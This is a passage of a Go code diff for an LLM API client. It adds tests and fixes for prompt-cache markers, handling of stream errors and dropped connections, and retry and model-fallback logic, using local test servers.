b.CacheControl != nil { + t.Fatalf("turn %d: session block was mutated: %+v", turn, b) + } + } + } + // The conversation grows between turns, as it does in the agent loop. + session = append(session, apitypes.UserText("next")) + req.Messages = session + } +} + +func TestAnthropicWireRequestStripsStrayMarkers(t *testing.T) { + msgs := conversation() + msgs[0].Content[0].CacheControl = apitypes.EphemeralCache() // a marker that leaked into storage somehow + wire := anthropicWireRequest(apitypes.MessageRequest{Messages: msgs}, true) + if wire.Messages[0].Content[0].CacheControl != nil { + t.Error("stale marker on an early message must be removed, or the breakpoint budget is spent on it") + } + if wire.Messages[2].Content[0].CacheControl == nil { + t.Error("final block still gets the marker") + } +} + +func TestAnthropicWireRequestDisabledSendsPlainShapes(t *testing.T) { + req := apitypes.MessageRequest{Model: "m", System: "s", Messages: conversation()} + wire := anthropicWireRequest(req, false) + if len(wire.System) != 1 || wire.System[0].CacheControl != nil { + t.Errorf("system = %+v", wire.System) + } + for _, m := range wire.Messages { + for _, b := range m.Content { + if b.CacheControl != nil { + t.Errorf("marker present with caching disabled: %+v", b) + } + } + } + empty := anthropicWireRequest(apitypes.MessageRequest{Model: "m"}, true) + if empty.System != nil || empty.Messages != nil { + t.Errorf("empty request should stay empty: %+v", empty) + } + if data, _ := json.Marshal(empty); string(data) != `{"model":"m","max_tokens":0,"messages":null}` { + t.Errorf("empty wire JSON = %s", data) + } +} + +func TestAnthropicProviderSendsCacheControlOnTheWire(t *testing.T) { + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { + writeJSON(w, http.StatusOK, `{"id":"m","type":"message","role":"assistant","content":[{"type":"text","text":"ok"}],"model":"claude-sonnet-4-6","usage":{"input_tokens":5,"output_tokens":1,"cache_read_input_tokens":1200}}`) + }) + p := newAnthropic(t, srv) + req := apitypes.MessageRequest{Model: "claude-sonnet-4-6", MaxTokens: 10, System: "sys", Messages: conversation()} + + t.Setenv(promptCacheDisableEnv, "") + resp, err := p.SendMessage(context.Background(), req) + if err != nil { + t.Fatal(err) + } + // The cache read count comes back through the usual usage path, so /cost + // prices it at the discounted rate without any further plumbing. + if resp.Usage.CacheReadInputTokens != 1200 { + t.Errorf("cache_read_input_tokens = %d", resp.Usage.CacheReadInputTokens) + } + + var sent struct { + System []map[string]any `json:"system"` + Messages []map[string]any `json:"messages"` + } + if err := json.Unmarshal(rec.last(t).Body, &sent); err != nil { + t.Fatal(err) + } + if len(sent.System) != 1 || sent.System[0]["cache_control"] == nil { + t.Errorf("system on the wire = %v", sent.System) + } + last := sent.Messages[len(sent.Messages)-1]["content"].([]any) + if last[len(last)-1].(map[string]any)["cache_control"] == nil { + t.Errorf("final message block lacks cache_control: %v", last) + } + if sent.Messages[0]["content"].([]any)[0].(map[string]any)["cache_control"] != nil { + t.Error("first message must not carry a marker") + } + + // Opt-out for endpoints that reject the field. + t.Setenv(promptCacheDisableEnv, "1") + if _, err := p.SendMessage(context.Background(), req); err != nil { + t.Fatal(err) + } + var plain struct { + System []map[string]any `json:"system"` + Messages []map[string]any `json:"messages"` + } + if err := json.Unmarshal(rec.last(t).Body, &plain); err != nil { + t.Fatal(err) + } + if plain.System[0]["cache_control"] != nil { + t.Error("GOCODE_DISABLE_PROMPT_CACHE did not disable the system marker") + } + for _, m := range plain.Messages { + for _, b := range m["content"].([]any) { + if b.(map[string]any)["cache_control"] != nil { + t.Errorf("marker sent with caching disabled: %v", b) + } + } + } + // System is still sent as a block list either way; Anthropic accepts both. + if plain.System[0]["text"] != "sys" { + t.Errorf("system text = %v", plain.System[0]) + } +} + +func TestOpenAICompatIgnoresCacheControl(t *testing.T) { + // The field is Anthropic-only; the chat-completions translation must not + // leak it into a message shape other providers will reject. + msgs := conversation() + msgs[2].Content[0].CacheControl = apitypes.EphemeralCache() + payload := buildChatCompletionRequest(apitypes.MessageRequest{Model: "gpt-4o", Messages: msgs}) + data, _ := json.Marshal(payload) + if json.Valid(data) && containsKey(payload, "cache_control") { + t.Errorf("cache_control leaked into the OpenAI payload: %s", data) + } +} + +func containsKey(v any, key string) bool { + switch x := v.(type) { + case map[string]any: + for k, vv := range x { + if k == key || containsKey(vv, key) { + return true + } + } + case []map[string]any: + for _, m := range x { + if containsKey(m, key) { + return true + } + } + case []any: + for _, e := range x { + if containsKey(e, key) { + return true + } + } + } + return false +} diff --git a/internal/apiclient/anthropic_provider.go b/internal/apiclient/anthropic_provider.go index 9551594..609fcfc 100644 --- a/internal/apiclient/anthropic_provider.go +++ b/internal/apiclient/anthropic_provider.go @@ -80,29 +80,28 @@ func (p *AnthropicProvider) StreamMessage(ctx context.Context, req apitypes.Mess n, readErr := resp.Body.Read(buf) if n > 0 { events, parseErr := parser.Push(buf[:n]) - if parseErr != nil { + // Events parsed before a bad frame are still good; forward them + // before reporting the frame that failed. + if !forwardEvents(ctx, ch, events) { return } - for _, ev := range events { - select { - case ch <- ev: - case <-ctx.Done(): - return - } + if parseErr != nil { + forwardEvents(ctx, ch, []apitypes.StreamEvent{streamErrorEvent(parseErr)}) + return } } if readErr != nil { - if readErr != io.EOF { - // Stream interrupted + events, finishErr := parser.Finish() + if !forwardEvents(ctx, ch, events) { + return } - // Flush remaining - events, _ := parser.Finish() - for _, ev := range events { - select { - case ch <- ev: - case <-ctx.Done(): - return - } + if finishErr != nil { + forwardEvents(ctx, ch, []apitypes.StreamEvent{streamErrorEvent(finishErr)}) + } else if readErr != io.EOF { + // The connection dropped mid-message. Without this event the + // consumer sees a clean close and treats the partial reply as + // complete. + forwardEvents(ctx, ch, []apitypes.StreamEvent{streamErrorEvent(apitypes.WrapIo(readErr))}) } return } @@ -148,7 +147,7 @@ func (p *AnthropicProvider) sendWithRetry(ctx context.Context, req apitypes.Mess } func (p *AnthropicProvider) sendRaw(ctx context.Context, req apitypes.MessageRequest) (*http.Response, error) { - body, err := json.Marshal(req) + body, err := json.Marshal(anthropicWireRequest(req, promptCacheEnabled())) if err != nil { return nil, apitypes.WrapJson(err) } @@ -181,9 +180,12 @@ func readApiError(resp *http.Response) *apitypes.ApiError { var envelope struct { Error struct { Type string `json:"type"` + Code string `json:"code"` Message string `json:"message"` } `json:"error"` } _ = json.Unmarshal(body, &envelope) - return apitypes.NewApiError(resp.StatusCode, envelope.Error.Type, envelope.Error.Message, string(body)) + apiErr := apitypes.NewApiError(resp.StatusCode, envelope.Error.Type, envelope.Error.Message, string(body)) + apiErr.Code = envelope.Error.Code + return apiErr } diff --git a/internal/apiclient/anthropic_provider_test.go b/internal/apiclient/anthropic_provider_test.go new file mode 100644 index 0000000..0576a8b --- /dev/null +++ b/internal/apiclient/anthropic_provider_test.go @@ -0,0 +1,267 @@ +package apiclient + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "net/http/httptest" + "reflect" + "strings" + "sync/atomic" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +func newAnthropic(t *testing.T, srv *httptest.Server) *AnthropicProvider { + t.Helper() + p := NewAnthropicProvider(apitypes.AuthApiKey("sk-ant-test")) + p.BaseURL = srv.URL + p.Retry = fastRetry() + return p +} + +func TestAnthropicStreamTextFixtureEndToEnd(t *testing.T) { + body := fixture(t, "anthropic_text.sse") + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { writeStream(w, body, 5) }) + p := newAnthropic(t, srv) + + ch, err := p.StreamMessage(context.Background(), userRequest("claude-sonnet-4-6")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + + req := rec.last(t) + if req.Path != "/v1/messages" { + t.Errorf("path = %s", req.Path) + } + if req.Header.Get("anthropic-version") == "" || req.Header.Get("x-api-key") != "sk-ant-test" { + t.Errorf("headers missing: %v", req.Header) + } + var sent map[string]any + if err := json.Unmarshal(req.Body, &sent); err != nil { + t.Fatal(err) + } + if sent["stream"] != true { + t.Errorf("stream flag not set on wire: %v", sent) + } + + want := []string{"message_start", "content_block_start", "content_block_delta", "content_block_delta", "content_block_stop", "message_delta", "message_stop"} + if got := kinds(events); !reflect.DeepEqual(got, want) { + t.Fatalf("kinds = %v", got) + } + if got := textOf(events, 0); got != "Hello, world!" { + t.Errorf("text = %q", got) + } +} + +func TestAnthropicStreamToolUseFixtureEndToEnd(t *testing.T) { + body := fixture(t, "anthropic_tool_use.sse") + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { writeStream(w, body, 13) }) + ch, err := newAnthropic(t, srv).StreamMessage(context.Background(), userRequest("claude-sonnet-4-6")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + if tool := blockStart(events, 1); tool == nil || tool.Name != "read_file" { + t.Fatalf("tool block missing: %v", kinds(events)) + } + if got := toolInputOf(events, 1); got != `{"path": "go.mod"}` { + t.Errorf("tool input = %q", got) + } + if d := findKind(events, "message_delta"); d == nil || d.Delta.StopReason != "tool_use" { + t.Errorf("stop reason not tool_use") + } +} + +func TestAnthropicStreamSurfacesServerErrorFrame(t *testing.T) { + body := fixture(t, "anthropic_error_midstream.sse") + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { writeStream(w, body, 4096) }) + ch, err := newAnthropic(t, srv).StreamMessage(context.Background(), userRequest("claude-sonnet-4-6")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + ev := findKind(events, "error") + if ev == nil || ev.BlockDelta == nil || !strings.Contains(ev.BlockDelta.Text, "overloaded_error") { + t.Fatalf("overloaded_error was not surfaced: %v", kinds(events)) + } + if hasKind(events, "message_stop") { + t.Error("a failed stream must not also claim message_stop") + } +} + +func TestAnthropicStreamSurfacesMalformedFrameInsteadOfClosingSilently(t *testing.T) { + // Before the fix the goroutine returned on parse error, the channel closed + // cleanly, and the runtime recorded the partial reply as a complete turn. + good := "event: message_start\ndata: {\"type\":\"message_start\",\"message\":{\"id\":\"m\",\"type\":\"message\",\"role\":\"assistant\",\"model\":\"x\"}}\n\n" + + "event: content_block_start\ndata: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\"}}\n\n" + bad := "event: content_block_delta\ndata: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{oops\n\n" + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { writeStream(w, []byte(good+bad), 4096) }) + + ch, err := newAnthropic(t, srv).StreamMessage(context.Background(), userRequest("claude-sonnet-4-6")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + want := []string{"message_start", "content_block_start", "error"} + if got := kinds(events); !reflect.DeepEqual(got, want) { + t.Fatalf("kinds = %v, want %v", got, want) + } + if !strings.Contains(events[2].BlockDelta.Text, "invalid sse frame") { + t.Errorf("error text = %q", events[2].BlockDelta.Text) + } +} + +func TestAnthropicStreamSurfacesDroppedConnection(t *testing.T) { + body := fixture(t, "anthropic_text.sse") + // Cut after the second frame, mid-message, with no terminating chunk. + cut := strings.Index(string(body), "event: ping") + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { writeStreamThenDrop(w, body[:cut]) }) + + ch, err := newAnthropic(t, srv).StreamMessage(context.Background(), userRequest("claude-sonnet-4-6")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + if got := kinds(events); len(got) != 3 || got[0] != "message_start" || got[1] != "content_block_start" || got[2] != "error" { + t.Fatalf("kinds = %v, want the two delivered frames then an error", got) + } + if !strings.Contains(events[2].BlockDelta.Text, "stream interrupted") { + t.Errorf("error text = %q", events[2].BlockDelta.Text) + } +} + +func TestAnthropicStreamCancellationIsNotReportedAsAnError(t *testing.T) { + body := fixture(t, "anthropic_text.sse") + first := body[:strings.Index(string(body), "event: content_block_start")] + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "text/event-stream") + w.WriteHeader(http.StatusOK) + _, _ = w.Write(first) + w.(http.Flusher).Flush() + <-r.Context().Done() // hold the stream open until the client goes away + }) + + ctx, cancel := context.WithCancel(context.Background()) + ch, err := newAnthropic(t, srv).StreamMessage(ctx, userRequest("claude-sonnet-4-6")) + if err != nil { + t.Fatal(err) + } + if ev := <-ch; ev.Kind != "message_start" { + t.Fatalf("first event = %s", ev.Kind) + } + cancel() + rest := collect(t, ch) + if hasKind(rest, "error") { + t.Errorf("Ctrl-C must not render as a stream error, got %v", kinds(rest)) + } +} + +func TestAnthropicRetriesRateLimitThenSucceeds(t *testing.T) { + body := fixture(t, "anthropic_text.sse") + var n int32 + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { + if atomic.AddInt32(&n, 1) <= 2 { + writeJSON(w, http.StatusTooManyRequests, `{"type":"error","error":{"type":"rate_limit_error","message":"slow down"}}`) + return + } + writeStream(w, body, 4096) + }) + ch, err := newAnthropic(t, srv).StreamMessage(context.Background(), userRequest("claude-sonnet-4-6")) + if err != nil { + t.Fatalf("expected success on third attempt, got %v", err) + } + collect(t, ch) + if rec.count() != 3 { + t.Errorf("attempts = %d, want 3", rec.count()) + } +} + +func TestAnthropicRetriesExhaustedIsRecognisedByFallback(t *testing.T) { + // This is the seam that was broken: the provider wraps the 429 in + // RetriesExhausted, and the fallback chain judged the wrapper (Status 0) + // rather than the cause, so failover never fired for rate limits. + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { + writeJSON(w, http.StatusTooManyRequests, `{"type":"error","error":{"type":"rate_limit_error","message":"slow down"}}`) + }) + _, err := newAnthropic(t, srv).SendMessage(context.Background(), userRequest("claude-sonnet-4-6")) + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Kind != apitypes.ErrRetriesExhausted || apiErr.Attempts != 3 { + t.Fatalf("want RetriesExhausted after 3 attempts, got %v", err) + } + var inner *apitypes.ApiError + if !errors.As(apiErr.Wrapped, &inner) || inner.Status != 429 || inner.ErrorType != "rate_limit_error" { + t.Fatalf("cause not preserved: %v", apiErr.Wrapped) + } + if !isFallbackRetryable(err) { + t.Error("fallback must treat an exhausted 429 as a reason to try the next model") + } + if rec.count() != 3 { + t.Errorf("attempts = %d, want 3", rec.count()) + } +} + +func TestAnthropicNonRetryableErrorReturnsImmediately(t *testing.T) { + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { + writeJSON(w, http.StatusBadRequest, `{"type":"error","error":{"type":"invalid_request_error","message":"max_tokens: must be positive"}}`) + }) + _, err := newAnthropic(t, srv).SendMessage(context.Background(), userRequest("claude-sonnet-4-6")) + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Status != 400 || apiErr.ErrorType != "invalid_request_error" { + t.Fatalf("got %v", err) + } + if !strings.Contains(err.Error(), "max_tokens: must be positive") { + t.Errorf("message lost from Error(): %s", err) + } + if rec.count() != 1 { + t.Errorf("400 must not be retried; attempts = %d", rec.count()) + } + if isFallbackRetryable(err) { + t.Error("a 400 must not trigger fallback either") + } +} + +func TestAnthropicSendMessageDecodesResponseAndRequestID(t *testing.T) { + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("request-id", "req_abc") + writeJSON(w, http.StatusOK, `{"id":"msg_01","type":"message","role":"assistant","content":[{"type":"text","text":"Hi there"}],"model":"claude-sonnet-4-6","stop_reason":"end_turn","usage":{"input_tokens":10,"output_tokens":3}}`) + }) + resp, err := newAnthropic(t, srv).SendMessage(context.Background(), userRequest("claude-sonnet-4-6")) + if err != nil { + t.Fatal(err) + } + if resp.RequestID != "req_abc" || resp.Content[0].Text != "Hi there" || resp.Usage.InputTokens != 10 { + t.Errorf("decoded = %+v", resp) + } + var sent map[string]any + _ = json.Unmarshal(rec.last(t).Body, &sent) + if sent["stream"] == true { + t.Error("SendMessage must not request a stream") + } +} + +func TestReadApiErrorKeepsProviderCodeSeparateFromType(t *testing.T) { + // OpenAI-compatible APIs put the actionable code in "code" and leave + // "type" generic. Fallback keys off the code, so it must survive parsing. + body := `{"error":{"message":"This model's maximum context length is 128000 tokens.","type":"invalid_request_error","param":"messages","code":"context_length_exceeded"}}` + resp := &http.Response{StatusCode: 400, Body: io.NopCloser(strings.NewReader(body))} + apiErr := readApiError(resp) + if apiErr.ErrorType != "invalid_request_error" || apiErr.Code != "context_length_exceeded" { + t.Errorf("type=%q code=%q", apiErr.ErrorType, apiErr.Code) + } + if apiErr.Retryable { + t.Error("400 is not retryable at the provider level") + } + if !isFallbackRetryable(apiErr) { + t.Error("context_length_exceeded must fall through to the next model") + } +} diff --git a/internal/apiclient/fallback.go b/internal/apiclient/fallback.go index 626b746..5aea7d3 100644 --- a/internal/apiclient/fallback.go +++ b/internal/apiclient/fallback.go @@ -104,14 +104,25 @@ func isFallbackRetryable(err error) bool { return false } + // Providers retry internally first, so by the time a 429 or 5xx reaches the + // chain it is wrapped in RetriesExhausted, whose own Status is 0. Judge the + // cause, not the wrapper, or fallback never fires for the case it exists for. + if apiErr.Kind == apitypes.ErrRetriesExhausted { + var inner *apitypes.ApiError + if apiErr.Wrapped != nil && errors.As(apiErr.Wrapped, &inner) { + apiErr = inner + } + } + // Check retryable HTTP status codes. switch apiErr.Status { case 429, 500, 502, 503, 504: return true } - // Check for context-window-exceeded error type. - if isContextWindowExceeded(apiErr.ErrorType) { + // Check for context-window-exceeded. Anthropic signals it in the error + // type; OpenAI-compatible APIs keep the type generic and put it in code. + if isContextWindowExceeded(apiErr.ErrorType) || isContextWindowExceeded(apiErr.Code) { return true } diff --git a/internal/apiclient/fallback_test.go b/internal/apiclient/fallback_test.go new file mode 100644 index 0000000..90fe7a3 --- /dev/null +++ b/internal/apiclient/fallback_test.go @@ -0,0 +1,233 @@ +package apiclient + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// fakeProvider answers every call with err, or with a response naming the +// model it was asked for. seen is shared across a chain so a test can read +// the order in which models were tried. +type fakeProvider struct { + kind ProviderKind + err error + seen *[]string +} + +func (f *fakeProvider) SendMessage(_ context.Context, req apitypes.MessageRequest) (*apitypes.MessageResponse, error) { + *f.seen = append(*f.seen, req.Model) + if f.err != nil { + return nil, f.err + } + return &apitypes.MessageResponse{Model: req.Model, Content: []apitypes.OutputContentBlock{{Kind: "text", Text: "ok"}}}, nil +} + +func (f *fakeProvider) StreamMessage(_ context.Context, req apitypes.MessageRequest) (<-chan apitypes.StreamEvent, error) { + *f.seen = append(*f.seen, req.Model) + if f.err != nil { + return nil, f.err + } + ch := make(chan apitypes.StreamEvent, 1) + ch <- apitypes.StreamEvent{Kind: "message_start", Message: &apitypes.MessageResponse{Model: req.Model}} + close(ch) + return ch, nil +} + +func (f *fakeProvider) Kind() ProviderKind { return f.kind } + +type fallbackLog struct{ hops []string } + +func (l *fallbackLog) OnFallback(from string, _ error, to string) { + l.hops = append(l.hops, from+"->"+to) +} + +func chain(seen *[]string, errs ...error) []FallbackEntry { + names := []string{"primary", "secondary", "tertiary"} + out := make([]FallbackEntry, len(errs)) + for i, err := range errs { + out[i] = FallbackEntry{Model: names[i], Provider: &fakeProvider{kind: ProviderKind(i), err: err, seen: seen}} + } + return out +} + +func status(code int) error { + return apitypes.NewApiError(code, "err", "msg", "") +} + +func TestFallbackReturnsFirstSuccessWithoutTouchingTheRest(t *testing.T) { + var seen []string + log := &fallbackLog{} + fp := NewFallbackProvider(chain(&seen, nil, nil), log) + + resp, err := fp.SendMessage(context.Background(), userRequest("ignored")) + if err != nil || resp.Model != "primary" { + t.Fatalf("resp=%+v err=%v", resp, err) + } + if !reflect.DeepEqual(seen, []string{"primary"}) { + t.Errorf("tried %v, want only primary", seen) + } + if len(log.hops) != 0 { + t.Errorf("no fallback should be logged: %v", log.hops) + } +} + +func TestFallbackRequestModelIsOverriddenPerEntry(t *testing.T) { + // The caller's req.Model is whatever the user typed; each entry must be + // asked for its own model or the chain is a no-op. + var seen []string + fp := NewFallbackProvider(chain(&seen, status(503), nil), nil) + resp, err := fp.SendMessage(context.Background(), userRequest("user-typed")) + if err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(seen, []string{"primary", "secondary"}) || resp.Model != "secondary" { + t.Errorf("seen=%v resp.Model=%s", seen, resp.Model) + } +} + +func TestFallbackFallsThroughOnRetryableAndLogsEachHop(t *testing.T) { + var seen []string + log := &fallbackLog{} + fp := NewFallbackProvider(chain(&seen, status(429), status(502), nil), log) + + if _, err := fp.SendMessage(context.Background(), userRequest("x")); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(seen, []string{"primary", "secondary", "tertiary"}) { + t.Errorf("order = %v", seen) + } + if !reflect.DeepEqual(log.hops, []string{"primary->secondary", "secondary->tertiary"}) { + t.Errorf("hops = %v", log.hops) + } +} + +func TestFallbackStopsOnNonRetryableError(t *testing.T) { + var seen []string + log := &fallbackLog{} + bad := status(400) + fp := NewFallbackProvider(chain(&seen, bad, nil), log) + + _, err := fp.SendMessage(context.Background(), userRequest("x")) + if !errors.Is(err, bad) { + t.Fatalf("want the 400 back, got %v", err) + } + if len(seen) != 1 || len(log.hops) != 0 { + t.Errorf("a 400 must not fall through: seen=%v hops=%v", seen, log.hops) + } +} + +func TestFallbackReturnsLastErrorWhenEveryEntryFailsAndDoesNotLogPastTheEnd(t *testing.T) { + var seen []string + log := &fallbackLog{} + last := status(504) + fp := NewFallbackProvider(chain(&seen, status(429), last), log) + + _, err := fp.SendMessage(context.Background(), userRequest("x")) + if !errors.Is(err, last) { + t.Fatalf("want last error, got %v", err) + } + // One hop was possible; there is no entry after secondary to hop to. + if !reflect.DeepEqual(log.hops, []string{"primary->secondary"}) { + t.Errorf("hops = %v", log.hops) + } +} + +func TestFallbackStreamMessageUsesTheSameChain(t *testing.T) { + var seen []string + log := &fallbackLog{} + fp := NewFallbackProvider(chain(&seen, status(500), nil), log) + + ch, err := fp.StreamMessage(context.Background(), userRequest("x")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + if len(events) != 1 || events[0].Message.Model != "secondary" { + t.Errorf("stream came from %v", events) + } + if !reflect.DeepEqual(log.hops, []string{"primary->secondary"}) { + t.Errorf("hops = %v", log.hops) + } + + var seen2 []string + bad := status(401) + _, err = NewFallbackProvider(chain(&seen2, bad, nil), nil).StreamMessage(context.Background(), userRequest("x")) + if !errors.Is(err, bad) || len(seen2) != 1 { + t.Errorf("stream must stop on non-retryable: err=%v seen=%v", err, seen2) + } +} + +func TestFallbackNilLoggerIsSafe(t *testing.T) { + var seen []string + fp := NewFallbackProvider(chain(&seen, status(429), nil), nil) + if _, err := fp.SendMessage(context.Background(), userRequest("x")); err != nil { + t.Fatal(err) + } +} + +func TestFallbackKindComesFromTheHeadOfTheChain(t *testing.T) { + var seen []string + entries := chain(&seen, nil, nil) + entries[0].Provider.(*fakeProvider).kind = ProviderGemini + if k := NewFallbackProvider(entries, nil).Kind(); k != ProviderGemini { + t.Errorf("kind = %v", k) + } + if k := NewFallbackProvider(nil, nil).Kind(); k != ProviderAnthropic { + t.Errorf("empty chain kind = %v, want Anthropic default", k) + } +} + +func TestIsFallbackRetryableDecisionTable(t *testing.T) { + cases := []struct { + name string + err error + want bool + }{ + {"plain error is not an ApiError", errors.New("dial tcp: refused"), false}, + {"429", status(429), true}, + {"500", status(500), true}, + {"502", status(502), true}, + {"503", status(503), true}, + {"504", status(504), true}, + {"400", status(400), false}, + {"401", status(401), false}, + {"403", status(403), false}, + {"404", status(404), false}, + // 408/409 are retried inside the provider but are not a reason to + // switch models. + {"408 is provider-retry only", status(408), false}, + {"409 is provider-retry only", status(409), false}, + {"anthropic context window in type", apitypes.NewApiError(400, "context_window_exceeded", "too long", ""), true}, + {"openai context length in code", &apitypes.ApiError{Kind: apitypes.ErrApi, Status: 400, ErrorType: "invalid_request_error", Code: "context_length_exceeded"}, true}, + {"unrelated 400 code", &apitypes.ApiError{Kind: apitypes.ErrApi, Status: 400, ErrorType: "invalid_request_error", Code: "invalid_api_key"}, false}, + {"retries exhausted wrapping 429", apitypes.NewRetriesExhausted(3, status(429)), true}, + {"retries exhausted wrapping 503", apitypes.NewRetriesExhausted(3, status(503)), true}, + {"retries exhausted wrapping transport error", apitypes.NewRetriesExhausted(3, apitypes.WrapHttp(errors.New("reset"))), false}, + {"retries exhausted with nil cause", apitypes.NewRetriesExhausted(3, nil), false}, + {"http transport error alone", apitypes.WrapHttp(errors.New("reset")), false}, + {"missing credentials", apitypes.NewMissingCredentials("X", "X_KEY"), false}, + } + for _, tc := range cases { + if got := isFallbackRetryable(tc.err); got != tc.want { + t.Errorf("%s: got %v, want %v", tc.name, got, tc.want) + } + } +} + +func TestModelRouterRoutesKnownCategoriesAndRejectsUnknown(t *testing.T) { + var seen []string + deep := NewFallbackProvider(chain(&seen, nil), nil) + r := NewModelRouter(map[TaskCategory]*FallbackProvider{CategoryDeep: deep}) + + got, err := r.Route(CategoryDeep) + if err != nil || got != deep { + t.Errorf("Route(deep) = %v, %v", got, err) + } + if _, err := r.Route(CategoryUltrabrain); err == nil { + t.Error("unconfigured category must error, not return nil") + } +} diff --git a/internal/apiclient/helpers_test.go b/internal/apiclient/helpers_test.go new file mode 100644 index 0000000..6e6496f --- /dev/null +++ b/internal/apiclient/helpers_test.go @@ -0,0 +1,212 @@ +package apiclient + +import ( + "io" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "sync" + "testing" + "time" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// providerEnv is every variable the resolution code reads. Tests clear all of +// them so the developer's own shell cannot change the outcome of a table case. +var providerEnv = []string{ + "ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_BASE_URL", + "OPENAI_API_KEY", "OPENAI_BASE_URL", + "GEMINI_API_KEY", "GOOGLE_API_KEY", "GEMINI_BASE_URL", + "XAI_API_KEY", "XAI_BASE_URL", + "DEEPSEEK_API_KEY", "MISTRAL_API_KEY", "TOGETHER_API_KEY", "GROQ_API_KEY", + "OPENROUTER_API_KEY", "AZURE_OPENAI_API_KEY", "AZURE_OPENAI_ENDPOINT", + "CODEX_HOME", "CODEX_BASE_URL", "OLLAMA_HOST", promptCacheDisableEnv, +} + +func clearProviderEnv(t *testing.T) { + t.Helper() + for _, k := range providerEnv { + t.Setenv(k, "") + } +} + +// fixture loads a recorded wire capture from testdata. Fixtures are the real +// frame shapes each provider sends; edit them only against a fresh capture. +func fixture(t *testing.T, name string) []byte { + t.Helper() + data, err := os.ReadFile(filepath.Join("testdata", name)) + if err != nil { + t.Fatalf("fixture %s: %v", name, err) + } + return data +} + +type capturedRequest struct { + Path string + Header http.Header + Body []byte +} + +// recorder keeps every request a test server saw so tests can assert on the +// wire request as well as the parsed response. +type recorder struct { + mu sync.Mutex + reqs []capturedRequest +} + +func (r *recorder) record(req *http.Request) { + body, _ := io.ReadAll(req.Body) + r.mu.Lock() + defer r.mu.Unlock() + r.reqs = append(r.reqs, capturedRequest{Path: req.URL.Path, Header: req.Header.Clone(), Body: body}) +} + +func (r *recorder) count() int { + r.mu.Lock() + defer r.mu.Unlock() + return len(r.reqs) +} + +func (r *recorder) last(t *testing.T) capturedRequest { + t.Helper() + r.mu.Lock() + defer r.mu.Unlock() + if len(r.reqs) == 0 { + t.Fatal("no requests recorded") + } + return r.reqs[len(r.reqs)-1] +} + +func newServer(t *testing.T, rec *recorder, h http.HandlerFunc) *httptest.Server { + t.Helper() + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { + rec.record(req) + h(w, req) + })) + t.Cleanup(srv.Close) + return srv +} + +// writeStream sends body as an event stream in flushed pieces of the given +// size, so the client's read loop sees frames cut at arbitrary offsets the way +// a real socket delivers them. +func writeStream(w http.ResponseWriter, body []byte, piece int) { + w.Header().Set("Content-Type", "text/event-stream") + w.WriteHeader(http.StatusOK) + fl, _ := w.(http.Flusher) + for i := 0; i < len(body); i += piece { + end := min(i+piece, len(body)) + _, _ = w.Write(body[i:end]) + if fl != nil { + fl.Flush() + } + } +} + +// writeStreamThenDrop sends a prefix of the stream and then kills the +// connection without a terminating chunk, which is what a proxy timeout or a +// dropped socket looks like to the client. +func writeStreamThenDrop(w http.ResponseWriter, body []byte) { + w.Header().Set("Content-Type", "text/event-stream") + w.WriteHeader(http.StatusOK) + _, _ = w.Write(body) + if fl, ok := w.(http.Flusher); ok { + fl.Flush() + } + panic(http.ErrAbortHandler) +} + +func writeJSON(w http.ResponseWriter, status int, body string) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _, _ = io.WriteString(w, body) +} + +// collect drains a stream channel until it closes, failing the test if the +// producer never closes it. +func collect(t *testing.T, ch <-chan apitypes.StreamEvent) []apitypes.StreamEvent { + t.Helper() + var out []apitypes.StreamEvent + deadline := time.After(5 * time.Second) + for { + select { + case ev, ok := <-ch: + if !ok { + return out + } + out = append(out, ev) + case <-deadline: + t.Fatalf("stream did not close; %d events so far: %v", len(out), kinds(out)) + } + } +} + +func kinds(events []apitypes.StreamEvent) []string { + out := make([]string, len(events)) + for i, ev := range events { + out[i] = ev.Kind + } + return out +} + +func findKind(events []apitypes.StreamEvent, kind string) *apitypes.StreamEvent { + for i := range events { + if events[i].Kind == kind { + return &events[i] + } + } + return nil +} + +func hasKind(events []apitypes.StreamEvent, kind string) bool { + return findKind(events, kind) != nil +} + +// textOf concatenates text deltas for one content block, as the runtime does. +func textOf(events []apitypes.StreamEvent, index int) string { + var s string + for _, ev := range events { + if ev.Kind == "content_block_delta" && ev.Index == index && ev.BlockDelta != nil && ev.BlockDelta.Kind == "text_delta" { + s += ev.BlockDelta.Text + } + } + return s +} + +// toolInputOf reassembles input_json_delta partials for one content block, +// mirroring the runtime's appendJSON accumulation. +func toolInputOf(events []apitypes.StreamEvent, index int) string { + var s string + for _, ev := range events { + if 